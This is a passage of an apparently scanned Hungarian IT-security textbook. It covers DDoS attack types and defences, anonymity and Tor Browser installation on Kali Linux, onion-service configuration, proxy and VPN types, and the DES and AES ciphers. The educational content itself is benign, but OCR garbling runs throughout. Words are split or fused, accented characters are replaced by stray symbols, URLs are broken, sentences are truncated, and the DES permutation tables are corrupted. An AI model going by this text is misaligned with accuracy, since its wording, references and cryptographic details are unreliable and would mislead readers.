ofService) t8mad8s eset®n, amely csup8n egyetl en

A DDoS t8mad8sok t°obbf®l e form8ban fordul hat nak

! H8I - zat i retegT t8&mad§sok: A hs8l . -zati S§vsz
adatcsomaggal, mint példaul az Uidéoding vagy az ICMHlooding.
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9 Al kal maz§8si retegT t &§mad§sok: Ezek a t8mads§
specifikus gyenges®geit c®l ozz8k meg, p®l d§gul
kéréseket arasztjak el.

1 Protokoll alapt tAmadasok: Célja a hal6zati protokollok sajatossagainak kihasznélasa, példaul
aTCPSYNf | oodi ng, amely az erRforr8sokat haszng§
helyre kapcsolatokat.

Hogyan védekezhetiink DDoS tdmadas ellen?
A DDoS tdmadasok ellen tobbféle védekezési stratégia létezik:

Tulterhelési korlatok beallitasa: A szerverek és hal6zatok konfigurdlhatok ugy, hogy meghatérozott
mennyi s®gT k®r ®s f°l°tt m8&r nem fogadnak tovgbbi

TTzfal akek®shalsR®8 81 at a: Speci 8lis bizhegslSRiR es
rendszerek) seg?ts®g®vel ki szTrhetRk a gyan¥s va

CDN-ek (Content Delivery Networks): A forgalmat eloszthatjdk tobb szerver kdzott, igy egyetlen
szerver nem valik a tamadéas aldozatava.

Fel ¢gyel et rendszerek haszng8lata: A forgal mat 1
forgalomnovekedést, és automatikusan blokkolhatjak a gyanus forrasokat.

A DDoS tamadasok nem csak technikai kihivast jelentenek, hanem komoly Uzleti karokat is
okozhatnak, ez®rt a v8llalatok ®s szervezetek sz
rendelkezzenek a tAmadasok kivédésére.

HIVATKOZASOK

[1] https://owasp.org/wwyeommunity/attacks/

[2] https://www.php.net/manual/

[3] https://github.com/hussien89aa/swa

[4] Understanding Computer Browser Cookies: Internet Convenience, Information Security

and Computer Privacy http://internet
security.suite101.com/article.cfm/understanding computer browser cookies#ixzzOswFX
Najh
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ANONIMITAS

ANONIMITAS

Az anonimitis a bongészés soran azt jelenti, hogy a felhasznalé személyazonossaga, helyzete és egyéb
személyes adatai rejtve maradnak a latogatott webhelyek, harmadik felek és gyakran az
internetszolg8ltat- -k el Rtt i dthato ey, paldaol Vrikkelt §s k ¢ |
proxyk hasznalataval, vagy anonimifds kusz % b°ng®szRk, mint a Tor ha

Az anonimités online kérnyezetben kulonféle célokat szolgélhat:

Mag8&n®l et v®del me: Az anonimit8s | ehetRvV® teszi
®s adatai kat megv®dj) ® a k°vet ®st RI . Ez k¢l 2no se
szervezetek szigoru megfigyelést folytatnak.

Bi ztons §g: Az anonimitg8s seg?2thet megel Rzni , h
valjanak, mivel kevesebb informacio all rendelkezésre a tAmaddk szamara.

Szabad informaciéhoz valiozzéaférés: Egyes orszagokban vagy szervezeteknél bizonyos webhelyek
blokkolva vannak. Az anonimitast biztosité eszkdzok hasznalataval a felhasznalok hozzaférhetnek a
blokkolt tartalmakhoz, és elkerilhetik a cenzuréat.

AZ ANONIMITAS FELHASZNALASA JO CELOKRA

Szolasszabadsag védelme: Azokban az orszagokban, ahol a véleménynyilvanitas korlatozva van, az
anoni mit8s | ehet Rs®get ad az embereknek, hogy sz
félelem nélkal.

Jogv®ddR tev®kenys®gek: Jogv®dRk, ¥%js8&8g2r- -k ®s ak
a mags8&n®l et ¢k ®s biztons§8guk me gRr z®s ®r e, mi k
visszaéléseket tarnak fel.

Szem®l yes adatok v®del me: Sok felhaszn8l - - egys
megv®deni szem®l yes adatait a nagy c¢c®gek ko%vet
felhasznélokat.

y4
®
AZ ANONIMITAS ROSSZ CELU FELHASZNALASA

Sajnos az anonimitdst nemcsak jo célokra, hanem rosszindulatu tevékenységekre is hasznaljak:

lllegalis tevékenységek: Egyesek az anonimitas mogé bujva végeznek torvényellenes tevékenységeket,
példaul kabitészekereskedelmet, lopott adatok adasvételét, vagy mas illegdlis szolgaltatasok
biztositasat.

Kibertamadasok: A tamadok anonimitasi eszkdzokkel, példaul-stNel és a Tor halozattal rejtik el
valddi tartézkodasi helytket, mikdzben kibertamadasokat, példaul féo&dasokat vagy adatlopast
hajtanak végre.

Adathaléaszat és csalds: Az anonimitast kihasznélva a csalok megprébaljdk becsapni a felhasznaldkat,
példaul hamis weboldalakat hoznak létre, vagy megprébalnak személyes informaciokat kicsalni.
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AZ ANONIMITAS DILEMMAJA

Az anoni mitég&s egy k®nyes t ®ma , mer t mi k°®zben
inform8ci -szabadsg&8ghoz val - hozz§&8f ®r ®s't szol g8
|l ehet Rs®get ny %j t az el fog8suk el ker ¢(lalBs ®r e . A
biztonsag és a maganélet tiszteletben tartasatkdzot

TOR BROWSERTELEPITESEKALI LINUXON

Kali Linuxonk ®t f ® ek ®ppen | ehet Tor b°ng®szRt telep2te

1. Toltsik le ahttps://www.torproject.org/projects/torbrowser.html@dalrél és csomagold ki
kézzel

2. Hasznguk a torbrowserlauncher csomagot, amely | et ° 1 t het [ i nnen
https://github.com/micahflee/torbrowskuncher

A Tor browsedaunchernem r ®sze a hivatal os TOR ki ad8snak,

tart8&8s8t. EI Rnyei a k°vetkezRk
1 Mindig a legujabb verzio kerll letdltésre
T Seg2t kivsglasztani a megfelel R oper8ci-s renit
T Telep2t®skor elind2tja a Tor b°ng®szRt
T El'l enRrzi a Tor b°ng®szR al 82r 8sait
1 Hozzéadja a "Tor Browser" és a "Tor Browser Launcher Settings" alkalmazasindit6t az asztali

kdrnyezet menujéhez

Tartalmazza az AppArmor profilokat

1 megakadalyozza a downgrade tAmadasokat
1 A torbrowseflauncher nem https alapu

=

Futtassuk a k°vetkezRt:

sudo apt - get install torbrowser - launcher

File Actions Edit View Help

L do t—¢ t install torbrowser-launcher
Reading package lists ... Done

Building dependency tree

100 abratorbrowserlaunchertelepitése

Most elind?thatjuk a Tor Blrowser programot a gr a
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kali@kali: ~

Q, tor

‘. Tor Browser Launcher Settings
‘. Tor Browser

|+ Terminal Emulator

101 4&braTor b°ng®szR futtats§8sa

Az el s R alaknehktelapithadsomagot
Tor Browser

Downloading Tor Browser for the first time.

Downloaded 90.4% (74.0 MiB)

® Cancel

102 abraA telepités menete

Kattintsunk a Csatlakozas gombra (nem kell konfiguréalni)

Click “Connect” to connect to Tor.

. “Configure” to adjust network settings if you are in a country that censors Tor (such as Egypt,
China, Turkey) or if you are connecting from a private network that requires a proxy.

Connect Configure

103 abraA csatlakozés felépitése

A Tor Browser hasznalatra kész.
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About Tor - Tor Browser

About Tor x +
Search or enter address w O & =

@ New to Tor Browser? Tor Browser 10.0.7
Let's get started. View Changelog

A

Resist the surveillance pondemic.

G Search with DuckDuckGo

Tor is free to use because of donations from people like you. Donate Now

Questions? 2ck our Tor Browser Manual »

& . ) -
@ Get the latest news from Tor straight to your inbox. Sign up for Tor News. »

104 abraA Tor browser

ONION SERVERTELEPITESE

Az onion szerver képes kiszolgalni tor klienseket. A telepitéshez keressiik meg, hol van a torrc fajl.

l—_. locate ‘tDI‘I:‘lI -

~

Jetc/tor/torrc

105 abra
Nyissukmeg a fajlt egy editorban ésgrdikk i a megjegyz®seket a k°vet kez

HiddenServiceDir  /var/lib /tor / other_hidden_service /
HiddenServicePort 80 127.0.0.1:80
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62 igHHEEHEEHEEHES This section 1s just location-hidden services #HHt
63

64 4t Once you have configured a hidden service, you can look at the

65 ## contents of the file "... hidden_service hostname” the address
66 i# to tell people.

67 iHt

68 ## HiddenServicePort x y:z says to redirect requests on port x to the
69 ## address y: z.

70

71 #HiddenServiceDir /var lib tor hidden_service

72 #HiddenServicePort

73

74 HiddenServiceDir /var lib tor other_hidden_service

75 HiddenServicePort

76 #HiddenServicePort

106. abra

Most mentsik el a torrc-t, és inditsd Ujra a Tet

$ sudo systemctl tor restart
Futtasuka k°vet kezRt

service apache? start

107. abra

Menijlunk a/var/lib/tor/fother_hidden_servidednvtarba ehhezrootjogosultsag sziikséges.

- Jvar/lib/tor
/var/lib/tor/other hidden service

- fvar/lib/tor/other_hidden_service

hostname hs_ed25519_public_key

108 abraAz onion szerver konfiguracios kdnyvtara
Adjuk ki a

cat ./hostname t
parancsot az onion szerver nev®nek megtekint ®s ®h

.o /var/lib/tor/other_hidden_service
Jhostname

hcoladjslpdmlzghg3fztkjtpaqgru7xiby3y2gn7t25rm54747frgid.onlion

109. 4braAz onion szerver neve
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Hivatkozasok
[1] https://github.com/micahflee/torbrowskuncher

PROXY

A proxy szerver egy atjar6 kamik és az internet kozott. Ez edy© z b eszeiwdR az 6sszes
adatforgalom a proxykiszolgalon keresztul ranfilproxyszerver igy elvalasmtinketa i1 nt er net t K
Mind a bej°vR, mind a ki nidynaR(biko@®yoskiséeadkkeln s zer ver en

db>
dmmd
it

174

A\

110. abraProxyszerver
A proxy szerverek funkcioi:

1 biztonsagnegvalositasa,
1 maganélevédelme,

1 teljesitményfokozasa,

1 vallalati szabalyolellatasa

A modern proxy szerverek sokkal t°bbet tesznek a
Biztonsagi feladatokat latnak el, javitjak a teljesitményt. A proxy szerverek:

f tTzfalk®nt ®s webszTr Rk®nt mTk°dnek,

1 megosztott hal6zati kapcsolatok biztositanak,

1 gyorsitétaradatokat tarolnak a gyakori kérések felgyorsitasa érdekében,

1 megvédenek a nem kivaattalomtol,

f magas szintT adatv®del met biztos2tanak.

Az interneten minden szamitégépnek egyedi Internet Protocol (IP) cimmel kell rendelkeznie.
Tekinthetjik ezt az IPcimet a szamitogép postai cimének. Ahogy a posta is tudja, hogy a leveleket
hogyank el | a postai c¢c2m¢gnkre sz8l 1l 2tani, az interne
a megfel el R srzi®adpn. g®pre az | P

A proxyszerver alapvet Ren ednmelsam@yetintszan®pgéplimk i nt e

i smer . Ami kor webes k®r ®s't k¢l denk, a k®r ®s ¢ nk
ezut 8§n a mi neve¢egnkben el kellals ztwedb ewe kP72 ®Rrs\Wd 1, t RIS
nek¢nk a webol dal adatait, 2gy | 8thatjuk az ol ds

Amikor a proxykiszolgal6 tovabbitja webes kéréseket, modosithatja az elkiildétt adatokat, és de mi
tovabbra is azt az adatot kapjuk, amit elvaruakroxykiszolgalé megvaltoztathatja az 4&fmét, igy

a webszerver nem tudja pontosan, hol van a vil §
olvashatatlanok a szallitas soran. Es végil, a proxy szerver blokkolhatja a hozzaférést bizonyos
webddalakhoz az IRcim alapjan.
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A PROXY SZERVER HASZNALATI ESETEI

Szamos oka van annak, hoggégekés maganszemélyek proxyszervert hasznélnak.

T

Az fiatalkortakvagy alkalmazottak internethasznélatanak szabalyozasa: A szervezetek és a

sz¢l Rk proxyszervereket 8l 1 2tanak be annak
alkalmazottjaikvagy gyermekeik hogyan hasznaljdk az internetet. A szervezet nem akarja,

hogy a v§8lIlalat:i i dRben n®zzen meg bizonyos
hogy megtagadja a hozzaférést bizonyos webhelyekhez, ehelyett egy kedves megjegyzéssel

iranyitja Ont, hogy ne tartdzkodjon az emlitett webhelyek megte®inté®1 a v 81 | al at i
fk is figyelemmel k2s®rhetik ®s napl - -zhatj 8k
esetleg nem blokkolj 8k a webhelyet, tudj 8k,

Savszélességmegtakaritas és jobb sebesség: A vallalatok a teljes haldzati teljesitményt is

jav2zthatj8k egy | - proxy szerverrel. A proxy
webhelyeket (a webhely masolatat helyben elmenthetigy amikora B ng®s zR az ad
webszerver let°lt®s®t k®ri, ae apwelthelylegzjably ver e

példanyaval, majd elkildi a mentett példanyt. Ez azt jelenti, hogy amikor tébb szaz ember éri
el egyszerre a webhel yaproxusgeyver tsakegynkérgstrkilkay s z e
webhelyre. Ez megtakaritja a savszélességet, és javitja a halézati teljesitményt.

Adat v®del mi e | Rn vy °véllalatohneggatanoxylesro®dlokat haszi@mak

az internet privat boéngészéséhez. Egyes proxykiszolgaldk megvaltoztatjakcamdP és a
webkérés egyéb azonositd adatait. Ez azt jelenti, hogy a célszerver nem tudja, ki kildte be az
eredeti k ®r ®s t , melyes adatast gstbdngésreésyRakasatn i s z e

Fokozott biztons8g: A proxyszerverek az adat"
nyujtanak. Beallithatjuk a proxykiszolgalét, hodiykositsa a webes kéréseket, hogy a
kivancsiskoddé szemek ne olvassdk tranzakcidit. Azt is megakadalyozhatjuk, hogy a
rosszindulatl webhelyek hozzaférjenek a proxykiszolgaldn keresztil adatainkhoz. Ezenkivil a
szervezetek ossze tudjak kapcsolni a proxykiszolgalbjeky virtualis maganhalézattal

(VPN), igy a tavoli felhasznalok mindig a vallalati proxyn keresztiihdkr hozza az

internethez. A VPN k°zvetlen kapcsolat a v§glI|
t 8volii fel haszn8l - knak biztos?2tanak. A VPN
el l enRrizheti, hogy -ea sdiksdgésarsfzanr8rl & shakhhoozzz B(Ed® 5 R

adatok), mikézben biztonsagos kapcsolatot biztosit a felhasznalé szamara a vallalati adatok
védelme érdekében.

Hozz8f ®r ®s a bl okkol't er Rf orr8sokhoz: A pr o
sz8m8r a, hogy megker ¢l j ®k m&s o k 81t al (pl
tartalomkorlatozasokat. Ha példaul egy sportkbzvetités le van tiltva Magyarorszagrol
b°ng®szRk sz8m8r a, akkor jelentkezz¢nk be eg
nézzik meg onnan.

PROXY SZERVER KOCKAZATA

A proxykiszolgal6 hasznalatanak néhany lehetséges kockazata van:

1

Ingyenes proxy szerverek kockazata
Az ingyenes proxy szolgaltatas hasznalata kockazatos is lehet, még a hirdetéseken alapuld
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bevételi modelleket hasznalé szolgaltatasok is. Az ingyenes &ltalaban azt jelenti, hogy nem
fektetnek be komolyabban a backend hardver be
teljes2tm®nyprobl ®m8kat ®s | ehetnsg@gense sadd gtr boix:
szerverek egy része csalo.
1 Bongészési torténet eltarolasa
A proxykiszolgalo az eredeti Heimet és a webes kérés adatait esetleg lokalisan, titkositatlanul
t 8rolja. ElI'l enRr i zz¢ k-eéshmerdie ezeket gz radatokpés hogyr v er n ¢
milyen megRrz®si vagy bTng¢lkivetzeRs i egycécttmTko
9 Nincs titkositas
Ha proxyszervert hasznalunk titkositas nélkul, akkor lehet, hogy nem is hasznalunk

proxykiszolg8l  -t. A titkos2t8s hi8nya azt | e
el. Bérki, aki lehallgat, valéban kénnyen le latja a felhasznaloneveket, vighstaés a
fiokadatokat.

Proxy Szerver tipusok

Nem minden proxyszerver mTko°dik ugyan¥%gy. Font o
kapunk az egyes a proxy szervertRI. [1] a k°vetk

1 Forward proxy
A tovsgbb2t - proxy az ¢gyfelek el Rtt mTkeoedik,
hal6zaton beliili felhasznaléi csoportokhoz. Kérés elkiildésekor a proxyszerver eldonti, hogy
indokolt-e Uj a kapcsolat |étrehozésa.

Az tovsg8bb2t . proxy a | egmegfelel Rbb ol yan be
pontot igényelnek. Biztositiaazt® 2 me k bi ztons8g8t a h8Il - -zatban
teszi az egyszerT adminisztr8ci-s felg¢ggyel et

1 Atlatsz6 proxy
Az atlatszé proxy ugyanolyan élményt nydjthat a felhasznaldknak, mint az otthoni szamitégép
hasznalat Ily médonAatlaszo. A f el haszn§l -kra is Ar 8§k®nys z
kapcsolothat egy felhasznalo a proxyhoz, hogy tudna réla.
Az atlatsz6 proxyk jol alkalmazhaték azoknak a vallalatoknak, amelyek anélkil akarjak
hasznalni a proxyt, hogy az alkalmazottak tudomast szereznének arrdlhasgyjhk.
El Rnye, hogy z°kkenRmentes fel haszn@gdk- i ®l m
érzékenyebbek bizonyos biztonsagi fenyegetésekre, példaul afl@Ntamadasokra(A
SYN flood, azaz SYN elarasztas egy az interneten végrehaijtott, szolgaitgtegadassal jaré
tamadas.
1 Anonim proxy
Az anonim, vagy névtelen proxy arra Osszpontosit, hogy az internetes tevékenységet
k°vethetetlenn® tegye. MTkod®snek saj 8§t oss§gg:
internethez, mikdzben elrejti a felhasznald személyazonossagat és szamitégépes ada
9 Fokozottan anonim proxy
A fokozottan anonim proxy egy névtelen proxy, amely egy lIépéssel tovabb viszi az anonimitast.
Pgy mTkedi k, hogy t°rli az adatait, mielRtt
1 Torzité proxy
A torzitd proxy a webhely proxyként azonositja magéat, de elrejti sajat személyazonossagat. Ezt
agy teszi, hogy az IRiméthamisravaltoztatja.
A torzitd proy j6 valasztas azok szamdara, akik el akarjak rejteni helyiket az internet elérése
kozben. Ez a fajta proxy olyan megjelenést eredményezhet, mintha egy adott orszagbdl
bongészne, és nemcsakethasznald, hanera proxy személyazonossagat is elrejti. Egyes
webhelyek azonban automatikusan blokkoljak a torzité proxykat, ami megakadalyozhatja,
hogy a végfelhasznalé hozzéaférjen a webhelyekhez.
1 Adatk6ézpont proxy
Az adatk6zpontproxyk nem kapcsolddnak internetszolgéltatbhoz (ISP), hanem egy masik
v8ll al at biztos2tja Rket adatk®°zponton keres
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létezik, és a felhasznald kérései ezen a szerveren keresztul kerllnek tovabbitasra. Az
adatk®zpont proxy j- v8laszt8s azoknak, akik
EIRny¢k, hogy a felhaszn8l -k sz8m8rgay Tl ¢ IRst®R\
M§sr®szt nem ny¥% tj8k a | egmagasabb szintT nG
adatait vagy személyazonossagat.

1 Residentiaproxy
A residental proxy egy adott fizikai eszk6zhoz tartozécifet ad. Ezutan minden kérés ezen
az eszkdzon keresztul torténik. Ezek proxyk jol alkalmazhatok azoknal a felhasznaloknal,

aki knek el l enRrizni ¢k kel l igyblakkdhhtigdayxgoke® n me g j
kat, a versenyt8rsak vagy egy®b szerepl Rk gy
proxyk megbizhatébbak, mint a tébbi proxy. Ezek hasznalata azonban gyakran tébb pénzbe
kerll, ezért a felhasznaloknak alappsa el emezni ¢k kel |, kecagy az
tobbletbefektetést.

1 Nyilvanos proxy
A nyilv8nos proxy b8rki sz8m8ra ingyenesen el

a felhasznaldknak a proxy IP ciméhez, elrejti a személyazonossagukat, amikor webhelyeket
latogatnak. A nyilvanos proxyk azoknak a felhasznal6knak a legalkalmasalbilakzamara
a koltségek jelefsek, a biztonsdg és a sebesség pedig fontos. Bar ingyenesek és kénnyen
hozz8f ®&r het Rk, gyakran | ass¥ak, mer t bel ef ul |
proxyt hasznal, akkor nagyobb a kockazata annak, hogy rhazakférhetnek aadatainkhoz
az interneten

1 Megosztott proxy.
A megosztott proxykat egyszerre tobb felhasznald is hasznalja. Hozzé&férést biztositanak egy
olyan IP -cimhez, amelyet masok is megoszthatnak, majd bdngészhetiink az interneten,
mi k°zben w%gy tTnik, hogy azink.@Imegodztatinpkoxyk j@ | as z t
vélasztads azok szdmara, akiknek nincs sok pénzik, és nincs sziikségik gyors kapcsolatra. A
megosztott proxy fR el Rnye az alacsony k©°Il ts
hibas dontéseiért minket is kitilthatnak egy Wweb | y r R

1 SSL Proxy
A Secure Sockets Layer (biztonsagos socket layer, SSL) proxy titkositast biztosit az tgyfél és
a szerver kozoétt. Mivel az adatok mindkét irdnyban titkositva vannak, a proxy elrejti 1étezését

mi nd a kl i ens, mi nd a szerver kedzdkhak a Ez e k
szervezeteknek, amelyek fokozott védelmet igényelnek az SSL protokoll altal felfedett és
ledllitott fenyegetések ellen. Mivel a Googleaz8SL haszn8l - szervereket

az SSL proxy, ha egy webhellyel kapcsolatban hasznaljaf,2 e h et a ker esR
rangsorolasaban. A hatranya az, hogy az §8bxyré titkositott tartalom nem tarolhaté
gyorsitotarban, igy, ha tobbszér meglatogatjuk a webhelyeket, lassabb teljesitményt
tapasztalhatunk, mint egyébként.

1 Rotating Proxy
A rotaring (forg6) proxy mas IFcimet rendel hozza minden felhasznal6hoz, aki csatlakozik

hozz§g. Ami kor a felhaszn8l -k c¢csatlakoznak,
csatlakoz- eszk®°z |1 P c¢2 m®t Rlfelhaszhaloknak; akiknekp r o x y k
nagy mennyi s®gT, folyamatos web el ® ®st kel l

és Ujra visszatérjenek ugyanahhoz a webhelyhez.

1 Forditott proxy

El'l ent ® ben az tov8bb2t - proxyval, amely az
webszerver ek el Rt t helyezkedi k el , ®s t ov 8t
webszerverekre. BHgy mTkodi k, anelyiyd akérdsekdthas zn

az eredeti szervernek, ®s v8laszokat kap tRI
A forditott proxykalkalmazasgo vélasztas a terhelt webhelyek szamara, amelyeknek ki kell

szol g8l ni a nagysz8m¥% bej°vR k®r ®st . Seg?the
cs°kkent ®s ®ben, mi v el gy visel kednek, mi nt

kéréseket. A atranyuk, hogy a forditott proxyk potencialisan felfedhetik a HTTP szerver
architekturgjat, ha a tamadd képes behatolni rajta. Ez azt jelenti, hogy a halézati
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rendszergazd8knak meg kel erRs2teni ¢k vagy
proxyt hasznalnak.

VIRTUALIS MAGANHALOZATOK (VPN)

EI sR | 8t8sra a proxykiszolg8l -k ®s a virtus8lis n
mind a k®r ®seket, mind a v8laszokat k¢l sR szerv
azoknak a webhelyeknek az elérését is, amelyeket ké¢mEblokkolnanak az adott orszagban, ahol

fizikailag ténylegesen tartozkodunk. A VR¥ azonban jobb védelmet nydjtanak a hackerek ellen,

mivel titkositjak az 6sszes forgalmat

A VPN vagy virtualis maganhalézat egy privat halézat, amely titkositja és tovabbitja az adatokat,
l ehet Rv® teszi a biztons8gos internetkapcsol atot

AVPN-kapcsol at el Rnyeit 2gy foglalhatjuk ©°%9ssze:

AVPN-kapcsol at el fedi az online adatforgal mat, ®s
adatokat barki megtekintheti, aki rendelkezik hal6zati hozzaféréssel. A VPN segitségével a hackerek és
akiberhn°® zRk nem tudj 8k megfejteni ezeket az adat ok

Biztonsagos titkositas Az adatok olvasdsahoz titkositasi kulcsra van szilkség. Ennek hianyaban a
jelenlegi ismereteinknelletttébbmi | | i - ®vbe tel het, mire egy sz8m?2
segitségével esetén megfejti a kddot. A VPN segitségével online tevékenységeink még a nyilvanos
hal6zatokon is el vannak rejtve.

A tartdézkodasi helylnk elrejtése A VPN -ki szol g8l -k | ®nyeg®ben a pr
interneten. Mi v el a helyadatok egy m8si k orsz§8g
helytinket nem lehet meghatérozni. Ezenkivil a legtobb \éRdlgaltatas nem tarolja a tevékenységek

nadoit. Ez azt jelenti, hogy a felhaszna#iitivitasrejtve marad.

Hozzaférés a regionadlis tartalomhoz A regi on8l i s webes tartalom ol
mindenhonnan. A szolgaltatasok és webhelyek gyakran tartalmaznak olyan tartalmat, amely csak a
vil 8g bizonyos r®szeirRI ®r het Rk el . A saabvgny

tartdzkodasi hely meghatarozasahoz. Ez azt jelenti, hogy utazas kézben nem férhetlink hozzéa az otthoni
tartalomhoz, és nem férhetlink hozza a nemzetkozi tartalomhoz otthonrol. Ah&Mthamisitassal

atvalthategymask or sz8gban | ® R szerverre, ®s hat ®konyas
Biztonsagos adatatvitel Ha t 8vol r - | dol gozunk, el Rf ordul hat
hgl -zat8nak fontos f8jljaihoz. Biztons8gi okokb-

igényelnek. A hal6zathoz val6 hozzaféréshez gyakran V/R&pcsolat szikséges. APN -
szolgaltatasok maganszerverekhez csatlakoznak, és titkositasi médszereket hasznalnak az adatszivargas
kockazatanak csokkentésére.[3]

A VPN vagy a proxy kérdés eldontése

Ha folyamatosan kell titkositand6 adatok kildéséhez és fogaddsddmadérniink az internethemagy
ha vallalabakolyan adatokat kell felfednie, amelyeket el kell rejtenie a hackerekigaracsi szemek
el R , akkor jobb v§8lasztg&s a VPN.

Ha egy szervezetnek csupan engedélyeznie kell a felhasznalok szamara, hogy névtelenl
béngészhessenek az interneten, akkor a proxyszenves g.&mnadriegoldaskkoris,hee gy szer Ten
csak tudni szeretik¢ mely webhelyeket hasznaljdkdalgozok vagyhozza akarunk férni azokhoz a
webhelyekhez, amelyek a mi orszdgunkban blokkolva vannak.
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A VPN jobban megfelel Uzleti célokra, mivel a felhasznaloknak altalaban mindkét irdnyban biztonsagos
adatatvitelre van szukségik. A véllalati informaciok és a személyi adatok nagyon értékesek lehetnek,

és a VPN biztositja a titkositast, amire szilkségiunkaveédelméhez. Személyes hasznélatra, egyetlen
felhaszng8l - hoz, a proxyszerver megfelel R v§8las
hasznéalhatjuk, kiléndsen, ha korlatozni szeretnénk a halézaton bellli felhasznaldk altal latogatott
webhelyeket, mi&zben titkositja a kommunikaciéjukat.

HIVATKOZASOK

[1] https://www.fortinet.com/br/resources/cyberglossary/preegver
[2] https://www.varonis.com/blog/whds-a-proxy-server/

[3] https://www.kaspersky.com/resourcenter/definitions/whais-a-vpn
[4] https://www.kali.org/downloads/

[5] https://github.com/micahflee/torbrowskuncher
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ALAPFOGALMAK

A kriptogrs§8fia (a kifejreettegse| any° etopdanplgiad§gs sz -
jelent.

Maga a téma 06nallo lett az évek soran, annak ellenére, hogy mindig része volt a szamitastechnika/
informéciotechnologidgudomanyagnakk R f el adata a titkos k-dok tanul

Az el ektroni kus kommuni k8ci - sz®les korT elter]
elengedhetetlennéilt.

A biztonsagos csatorna kdvetelményei:
Titoktartas: Az egymassal kommunikald feleken kivil senki masnak nem sadaidaz Uzeneteket.

Kriptogr fi ai al gor i t mu skidolgdzasiadnely feltbroetetten, degeyzelo | y a n
egyidej Tleg konnyT haszn&lni ®s kisz&m2tani

Ennek a médszernek matematikailag bizonyithaténak kell lennie.

Hitelesség A kommunikalo felek meg tudjak allapitani egymas kilétét (annak ellenére, hogy a valo
életben soha nem talalkoztak)

Eszkozok Hitelesitési szolgéltatasok (hatésagok) Az online kommunikacid esetében természetes
kovetelmény, hogy személyazonossagunkat algoritmussal kell védeni, annak ellenére, hogy olyan tavoli
szervereket kelhasznalnunk, amelyeket nem lehet megkézeliteni.

Nincs 100%-0s biztonsag, ismerni kell a hatarokat.

Integritas: az adataink barmilyen észrevétlen médositasat blokkolni kell.

Digitdlis aldirassManaps 8g gyakori, hogy online szerzRd®sek
fizikailag nem | ehetnek jelen. Az al.82r 8sok ak§gr
A digitég8lis alg82r8s haszng8l ata ma Magyaror sz8gon

Az aldbbi abra a kommunikacié alapmodelljét és annak jel6léseit irja le.

c=E{m) m=04c)

| P

Alice Bob

(]

111 abraAlice és Bob kommunikacidja
Alice Gizenetet akar killdeni Bobnak, nevezziik az GizenetetkrA lekédolt Gizenet legyen ¢

Az E() fuggvényt titkositasi/kddolasi fliggvénynek nevezzik.
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A D() fuggvenyt dekddolo fuggvénynek nevezzik.

DES(DATA ENCRYPTION STANDARD)

A DES egy elterjedt titkositasi algoritmus. Az IBM fejlesztette ki az 1@&évek elején, majd a
Nemzeti Szabvanytigyi Hivatal regisztralta [1]

A DES szimmetrikus blokkciper; az algoritmus r©°c¢
l e. Az algoritmus kimenete ezzel megegyezR m®r et
bitmérete van: 56 bit.

A kulcs 64 bitesnek tTnik, de az algoritmus figy

64 bit 64 bit 64 bit
Kodolatlan Ozenet Kodolatlan Gzenet Kadolatlan Gzenet
56 bit kulcs DES 56 bit kulcs DES . .. 56 bit kulcs DES
64 bit 64 bit 64 bit
Kodolt (izenet Kodolt Gizenet Kodolt iizenet
Block 1 Block 2 Block n

112 &braA DES algoritmus

Az egyszer Ts®g kedv®®rt a 64 bites blokk (kul cs)
Lépései
1. A sima szdveges lzenet 64 bites hosszUsagu ®gyg&ezdeti permutaciés fliggvény kapja
meg. A permuts8ci - %gy n®z ki, hogy A sima sz?°
és a 7. bit lesz a 64. bit, lasd az alabbi abrat.
oc (o0 | 42 |34 |26 |13 [ 10
60 52|44 |36(28 |20 |12
62 |54 |46 |38 |30 |22 |14

Lo o R B L

64 |56 | 48 (40 | 32 |24 |16
o7 |49 |41 (33|25 (17| 9|1
599 (51 (43 (35|27 (19| 1
6153 |45 (37 29|21 (13

= | tn | ca

6355 |47 (3931|2315

121



KRIPTOGRAFIKUS ALGORITMUSOK

113 abraA permutaciot leiré matrix

2. A permutdlt rész két 32 bites részre osztja az adatokat: bal oldali széveg (LFT) és jobb oldali
szoveges rész (RFT)

3. MindkettR 16 k°r°s titkos2t8si folyamaton me
4, A k ®t r®sz ezut8&n YW ra ©°sszefTz®sre ker ¢l ®
kombin8lt blokkon, 2gy | ®trej°n a 64 bites 1t

permutacio invete:

AD (8| 43 (16 | 56 | 24 | 64 | 32
39 (7 (47 (15|55 (23|63 | 3N
35 |6 (45|14 |54 |22 |62 |30
37 |5 (45 (13 (53|21 (61|29
36 (4|44 (12|52 |20 | 60|28
35 (3 (43|11 (51 (19|39 |27
34242 (10 (50 (18|58 |26

33 (1|41 9|49 |17 |57 |25

114 abraA permutacio inverzét leird matrix

5. A 16 titkos?2t8si k@%r a k°vetkezRk®ppen n®z Kki

| LE, | RE, |
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115 abral6 titkositasi kor

Minden kor az 56 bites kezdeti kulcsbdl generdl Eglulcsot. A kulcsot két 28 bites félre osztjuk.
Mindkét felet minden koérben balra shifteljuk. Az 2., 9. and 16 kérben 1 bittel, a tébbi kdrben
kett Rvel . Ez ut § n(K)i ydlasztkiegydomer ¢® aplekrunucts8dt- mTvel et

LFTn= RFTs
RFT, = LFT11 XOR f(Ruy, Kr)

Az f sz8m2t §si f¢eggv®ny |l e2r8sa a k°vetkezR: Mi
bRvZ2t ®si per mut 8ci - seg?ts®g®vel, amely a bitek
kombinglja egy XOR mTvel et .nybket HeBettdsit égyeremlieearis d m®n y
tablazat szerint. Végul a kimenetet fix permutaciéval rendezzuk at.

Fél blokk (32 bit) Alkulcs (48 bit)

|

E

L XOR
r?:

Memlinesdris keresés

!

Permutdcit

116 braA ki menet el R8Il 12t 8sa

DES in OPEN SSL példak az alabbi linken talalhatok:
https://sandilands.info/crypto/DataEncryptionStandard.htm|#84@08.5

AES (ADVANCED ENCRYPTION STANDARD)

Az Advanced Encryption Standard (AE8kositast[9] vezette be. Ez az algoritmus gyorsabb és
megbizhatébb, mint a DES, igy lett 2600le n amer i kai szabvgny. 128 bit
128, 182 vagy 256 bites lehet. Ez egy szimmetrikus kulcs titkositas.

Az AES egypkrelmpetSicesxst R8I - zaton al apul. Az egyms§
abemeneteket meghatarozott kimenetekkel helyettesiti, masok permutaljak az adatokat.

A titkos?2t8si k°r°k:sz8ma a kulcs m®ret ®t Rl f ¢gog

1 128 biti 10kor
1 192 biti 12kor
1 256 biti 14 kor

Mindegyik kor a sajaKulcs kulcsathasznalja, amit egy algoritmus szerint lehet kiszamif@hi.
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128 bit szdveq

Kor kulcs

FPre-round
transformation

D E—

Kulcsg

1. kir

2. kir

@ owomomowowoE

F. kdr

128 bit titkos
sziveq

Az algoritmus leirasa

‘-
Kulcs,

